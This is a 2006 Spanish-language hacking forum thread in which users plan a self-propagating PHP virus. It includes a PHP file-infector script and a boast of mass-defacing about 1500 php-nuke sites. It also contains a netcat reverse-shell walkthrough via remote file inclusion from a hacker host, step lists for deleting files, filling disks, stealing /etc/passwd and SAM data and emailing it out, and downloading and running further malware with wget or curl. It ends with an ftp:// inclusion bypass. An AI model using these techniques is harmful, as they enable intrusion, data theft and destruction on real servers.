Autor Tema: VIRUS EN PHP  (Leído 19949 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Libro Pesado.

  • ***
  • Mensajes: 85
  • Liked: 0
VIRUS EN PHP
« : junio 12, 2006, 10:14:26 pm »
Bueno, pues estoy tratando de hacer un intento de virus en php,
lo que hace mi script es inyectar codigo X en archivos que tengan permiso de escritura,
la desventaja es que corre del lado del servidor, sin embargo con algun include remoto se me ocurre que se pueden crear cosas bastante interesantes...

¿que opinan?
¿El acre amor me ha hinchado de torpores embriagantes?

Quantum

  • Mensajes: 10
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #1 : junio 15, 2006, 03:45:31 pm »
Interesante has probado con Ruby?? ;)

Saludos

Libro Pesado.

  • ***
  • Mensajes: 85
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #2 : junio 16, 2006, 05:20:13 pm »
No, pero hasta donde sé hay muy pocos servers que soportan Ruby.
¿El acre amor me ha hinchado de torpores embriagantes?

RootBox

  • **
  • Mensajes: 156
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #3 : junio 16, 2006, 05:44:26 pm »
Pues claro que correo del lado del servidor, recuerda que el codigo php es ejecutado en la maquina y no en el cliente, pero pues Un virus php mas bien funciona de otra forma....

Por ejemplo, descubro una vulnerabidad enorme(ya he descubierto varias), por ejemplo yo descubri una en htmltonuke.php e iframe.php... eran unos archivos de php-nuke.. en ese tiempo yo era defacer y pues no aproveche bien la situacion lo que hice fue lo siguiente..

El virus php se conectaba a google y asi multiples peticiones para encontrar webs que tuvieran estos archivos, una vez teniendo todas las webs, se empezaba a meter e inyectaba un archivo malicioso que modificaba la db y mostraba un mensaje de hacked en la pagina principal, al final me dio el reporte de las paginas que se chingo... Cerca de 1500 :p .... Eso es lo que considero virus en php, puesto que de otra manera, seria algo dificl segun trato de asimilar, lo mas posible seria....

Infectas una web que tenga rfi o algo asi con un archivo virico en php.
ese virus php es capaz de identificar todos los tipos de browsers y tiene varias tecnicas de ingenieria social para hacer que los usuarios de la web se descarguen un archivo ejecutable.
El archivo ejecutable una vez descargado y ejecutado, trabaja entrasfondo descargando el verdadero virus(puesto que es mas pesado) desde la pagina donde se infecto el usuario....
 Este virus grande tiene capacidad de troyano e infectador de otras paginas web.
Cuando el usuario se meta a otras paginas, el virus trata de meter el codigo malicioso en esa pagina.
Y asi otravez la cadenita a los usuarios que se conecten a esa segunda pagina que fue infectada...

Esta muy loca la idea y seria un virus muy pesado pero todo tiene solucion :)....

Constaria de 3 partes:
Codigo malicioso en php: Es el que se inyecta a las paginas vulnerables y tambien infecta a los usuarios con browser vulnerables y tiene capacidad de ingeniera social para llevarlos hasta ke se descarguen un programa..... Este codigo en php adentro de si mismo tiene los binarios de "archivo ejecutable 1" y "archivo ejecutable 2",  pero estos son descargados de una manera especial
Archivo Ejecutable 1: Este una vez ejecutado se encarga de descargar el virus mas pesado...... Este archivo debe pesar unos 4 o 5 kb.... esto es para ke se descargue lo suficientemente rapido....
Archivo Ejecutable 2: Este es el virus pesado, este tiene la funcion de un backdoor(troyano), y esta revizando a que paginas se mete el usuario y trata de meterles el codigo malicioso en php...

Y asi, una cadenita :p ;)..

Esta muy loca, pero si la CUM se une y se lo propone si lo hacemos, yo ayudo con el php :p

P.D. Flor negra agregame, mac.xor@hotmail.com
« Última Modificación: junio 16, 2006, 05:45:57 pm por RootBox »

Libro Pesado.

  • ***
  • Mensajes: 85
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #4 : junio 19, 2006, 11:25:50 am »
Loca la idea pero si es viable, realmente aunque el virus en php esté algo limitado, con un poco de imaginacón se puede hacer mucho.
Aqui un breve ejemplo. Tiene algunos errores a propósito para que no sea usado con fines lamers.

Código: [Seleccionar]
<?php
$handle=opendir('.'); //abre el directori en el que esta el script
//$handle=opendir('../'); //escala un directorio
//$handle=opendir('../../'); //escala dos directorios
while ($file = readdir($handle)) //lee loss archivos del directorio y verifica si esta infectado ya o no
{ $infected=true;
$executable=false;
if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.html')) ) //checa que tengan extension .php, .htm, .html
if ( is_file($file) && is_writeable($file) ) //verifica que tenga permisos de escritura
{
$host = fopen($file, "r"); //abre el archivo
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'hola.php'); //si el archivo se llama como el scricpt no lo infecta
if(!$sig) $infected=false;
}
if (($infected==false)) //si no esta infectado, infecta
{
$host = fopen($file, "a");
fputs($host,"fputs($host,__FILE__); ");
fputs($host,"\"); ");
fputs($host,"?>");
fclose($host);
return;
}
}
closedir($handle);
print "HOLA AMIGUITOS";
?>
¿El acre amor me ha hinchado de torpores embriagantes?

Piloto

  • Dj Piloto... (Tmb piloto de Aviones) Por si lo dudan..
  • **
  • Mensajes: 234
  • Liked: 1
  • Dj Piloto y Piloto de Avion.
    • Graduate Xtremo
Re: VIRUS EN PHP
« Respuesta #5 : junio 19, 2006, 11:53:35 am »
hay otra forma no es virus, pero puede llegar a trabar unas maquinas, es mas o menos asi

Le pones por ejemplo a la variable A le pones el valor 1
despues pones que la VARIABLE A se sume, en un bucle sin fin... y asi cuando le pones Echo creo, que te ponga cada una de los numeros, nunca los pone por que se traba.
+ Super piloto, Heroes de Verdad, Pajaros con Alas de Metal! Trabajando Para el colectivo DTF !!!

RootBox

  • **
  • Mensajes: 156
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #6 : junio 19, 2006, 12:10:10 pm »
Pero es que no te explicas que es lo que quieres, que tipo de virus...

1.- Infectar los archivos de la misma maquina
2.- Tratar de joder a los usuarios que se meten a la pagina
3.- Ejecutar Backdoor..
4.- Ejecutar Comandos..

Yo realiza un clase de conexion inversa en php, miren un screen:



Eso es un backdoor de conexion inversa escrito en php por mi.....

Por eso te pregunto que tipo de virus quieres.

Piloto

  • Dj Piloto... (Tmb piloto de Aviones) Por si lo dudan..
  • **
  • Mensajes: 234
  • Liked: 1
  • Dj Piloto y Piloto de Avion.
    • Graduate Xtremo
Re: VIRUS EN PHP
« Respuesta #7 : junio 19, 2006, 12:36:56 pm »
Y eso que es y para que sirve?
+ Super piloto, Heroes de Verdad, Pajaros con Alas de Metal! Trabajando Para el colectivo DTF !!!

RootBox

  • **
  • Mensajes: 156
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #8 : junio 19, 2006, 12:43:57 pm »
Ahy te va.....

Una web que permita inclusion remotas ejemplo mm::
  http://ejemplo.com/htmltonuke.php?fienav=

 Bueno, yo quiero tener una shell de su web, una terminal para ejecuar comandos... Pero resulta que esa web tiene Firewall y no permite conexiones entrantes, entonces pongo mi computadora a la escucha

nc -vvlp 1667
Listening [1667] any

Bueno eso significa que mi pc tengo el puerto 1667
supongamos que mi ip es 192.168.1.201 ...

Entonces yo tengo mi backdoor escrito en php y ago esto:
http://ejemplo.com/htmltonuke.php?fienav=http://hacker.com/conexioninversa.phps?&ip=192.168.1.201&port=1667

Cuando me meto ahy, la pagina ejemplo.com ejecuta el backdoor que yo escribi k esta alojado en hacker.com, entonces ejemplo.com me manda una shell a mi ip en ese puerto (asi se salta el firewall normalmente) y empiezo a teclear comandos... Entendes?.

Piloto

  • Dj Piloto... (Tmb piloto de Aviones) Por si lo dudan..
  • **
  • Mensajes: 234
  • Liked: 1
  • Dj Piloto y Piloto de Avion.
    • Graduate Xtremo
Re: VIRUS EN PHP
« Respuesta #9 : junio 19, 2006, 10:51:17 pm »
 :-\

No tendras algo asi como "virus en PHP" for Dummies..?
+ Super piloto, Heroes de Verdad, Pajaros con Alas de Metal! Trabajando Para el colectivo DTF !!!

RootBox

  • **
  • Mensajes: 156
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #10 : junio 20, 2006, 01:43:30 pm »
Jajaja, pues depende de que tema quieres que aberque... Dime que tipo de virus quieres y te dare una explicacion de como se hacen..

1.- Chingarse en el sistema
2.- Borrar archivos que se puedan borrar
3.- Modificar informacion
4.- Troyano
5.- Matar procesos
6.- Obtener informacion y mandarla por correo..
7.- Descargar otro virus en la maquina a infectar..

Es que no dicen que es lo que quieren.. Lo que yo les mostre en el screenshot es un troyano en php :)

Libro Pesado.

  • ***
  • Mensajes: 85
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #11 : junio 20, 2006, 09:20:47 pm »
WOW! bello remote shell rootbox.

En mi caso lo unico que quiero mejorar son los includes remotos.
El código que postee anteriormente trabaja bien.

No se si puedas darme una breve explicación de estos chaval, te lo agradeceria eternamente.
¿El acre amor me ha hinchado de torpores embriagantes?

RootBox

  • **
  • Mensajes: 156
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #12 : junio 21, 2006, 12:01:57 pm »
Sigo sin entender eso que dices de mejorar las inclusiones?... Porfavor me dejaste con la duda en la boca, necesito que me expliques bien lo que quieres xD..

1.- Chingarse en el sistema
        >- Detectar SO con php_uname()
        >- Tener una lista de archivos importantes
        >- Verificar permisos sobre esos archivos
        >- Borrarlos
        >- Obtener espacio restante en disco duro con disk_free_space().
        >- Saturar el disco duro para causar un kernel panic.

2.- Borrar archivos que se peuden borrar
        >- Haces un getcwd()
        >- Te vas al directorio raiz, ya sea C:/, D:/, o en unix "/"
        >- Empiezas a hacer un scanneo desde la raiz a todos los subdirectorios y listando todos los archivos
        >- Una vez teniendo todo el arbol de archivos
        >- Compruebas que tenga permisos de escritura y los borras
 
3.- Modificar Informacion
       >- Igual que borrar archivos solo que no los borras, si no que les metes informacion

4.- Troyano
       >- Vean mi screenshoot, si lo quieren les paso mi source

5.- Matar procesos
       >- Escojer funcion para ejecutar comandos, ya sea con popen,shell_exec,passthru,exec,system,proc_open.
       >- Ejecutas "ps -x"
       >- Parseas esa informacion y  la pasas a "kill {NUMERODEPROCESO} > /dev/null"

6.- Obtener informacion
      > Suponiendo que es UNIX
            >- Tratas de ver los archivos importantes como :
                 >- /etc/passwd
                 >- /etc/issue
                 >- /etc/httpd/httpd.conf
                 >- etc....
             >- Obtienes los logs del sistema
             >- Tratas de leer correos
             >- Obtienes las versiones de software que utilizan
             >- Detectas si tienen en especifico un software como "nc(netcat)", instalado X11.
      > Suponiendo que es Windows
            >- Tratas de ver los archivos sam
            >- Tratas de leer algunos registros
            >- Obtener las contras dialup, etc..
      > Obtienes informacion con las funciones POSIX de php
      > Al final mandarlo todo a un correo


7.- Descargar otro virus en la maquina a infectar.
Muchas veces, un virus en php no puede ser lo suficiente mente poderoso para echar a perder un sistema, pero si un virus que concuerde con el sistema operativo y que sea ejecutable.
     >- Escojer funcion para ejecutar comandos, ya sea con popen,shell_exec,passthru,exec,system,proc_open.
     >- Detectar el sistema operativo con php_uname()
     >- Tener una lista de virus correspondientews a cada sistema operativo
     >- Descargar el virus a la maquina en donde se encuentra el php en un directorio con permisos de escritura:
          >- Descargar con fopen
          >- Descargar con fsockopen
          >- Descargar con file
          >- Descargar ejecutando comando "wget"
          >- Descargar ejecutando comando "curl"
      >- Darle permisos de ejecucion (Necesario en unix con comando "chmod 777 virus".)
      >- Pasar el directorio y el nombre del virus a las funciones para ejecutar comandos arriba mencionadas
      >- Listo, la maquina esta infectada

El virus php se ve limitado de acuerdo ala configuracion del php.ini.
« Última Modificación: junio 21, 2006, 12:03:59 pm por RootBox »

Libro Pesado.

  • ***
  • Mensajes: 85
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #13 : junio 24, 2006, 10:28:28 am »
Vaya que me has dejado con la  boca abierta. Realmente estuve checando cada uno de los subtemas que me has escrito y es muy interesante el alcance que puede tener un virus en php.

A lo que yo me referia con mis "includes remotos" es a la tecnica de ejecutar estos includes.

Cita
Ahy te va.....

Una web que permita inclusion remotas ejemplo mm::
  http://ejemplo.com/htmltonuke.php?fienav=
En ese caso tu encontraste una vulnerabilidad en htmltonuke.php, y es ahi donde haces el include del php malicioso.

Yo por ejemplo he probado los includes remotos en webs donde no depuren los signos de apertura de php <?php , y con eso haces una especie de inyeccion de php con el include remoto.

Me gustaria me dijeras si conoces alguna otra técnica para hacer un include de un archivo que no este en el servidor.

Es muy bueno saber que en la comunidad hay personas como tu rootBox
Gracias
¿El acre amor me ha hinchado de torpores embriagantes?

RootBox

  • **
  • Mensajes: 156
  • Liked: 0
Re: VIRUS EN PHP
« Respuesta #14 : junio 25, 2006, 05:30:42 pm »
Pues para hacer inclusiones remotas estan estas funciones muy conocidas:

 include("protocolo://hostname/filerequest");
 include_once("protocolo://hostname/filerequest");

 require("protocolo://hostname/filerequest");
 require_once("protocolo://hostname/filerequest");

 fopen("protocolo://hostname/filerequest");
 file("protocolo://hostname/filerequest");
 fsockopen("protocolo://hostname/filerequest");
 
 Estas 3, o por lo menos unas de esas 3, no es seguro que se ejecute el codigo php, por lo que puede ser necesario que se utilize la funcion eval para suplementarla..


Aki viene otro tip..> Si el scipt esta instalado sobre un servidor tipo apache, esta funcion que hasta hace poco se podia saltar el safemode, y hacer bypass a la proteccion de directorios.. esta funcion es

virtual("protocolo://hostname/filerequest");

Tambien todo aquello que se puede manejar urls y la madre, por ejemplo:
   Las funciones CURL
   Etc...

Seria cuestion de que me pusiera a hacer una investigacion de todas las funciones ke son capaces de parsear archivos, tales como XML, etc... Es cuestion de probar y comprobar que sean vulnerable las funciones...

Espero haber podido respondido tu pregunta  ;D ....

Puse "protocolo://", porke asi es.. mira el codigo original de htmltonuke.php
Código: [Seleccionar]
 if( substr($filnavn,0,5)!="./../" && substr($filnavn,0,7)!="http://" ){ 
include ($filnavn);
CloseTable();
include("footer.php");
}

La seguridad de ese script es comprobar que no existan las letras "http://" dentro de la cadena., pero lo que no sabian es ke php es capaz de procesar varios protocolos como ssh, ftp, telnet, y los defaces que se hcieron a todas esas webz fue a travez del protocolo ftp, htmltonuke.php?filnavn=ftp://user:pass@website.com/malicious.gif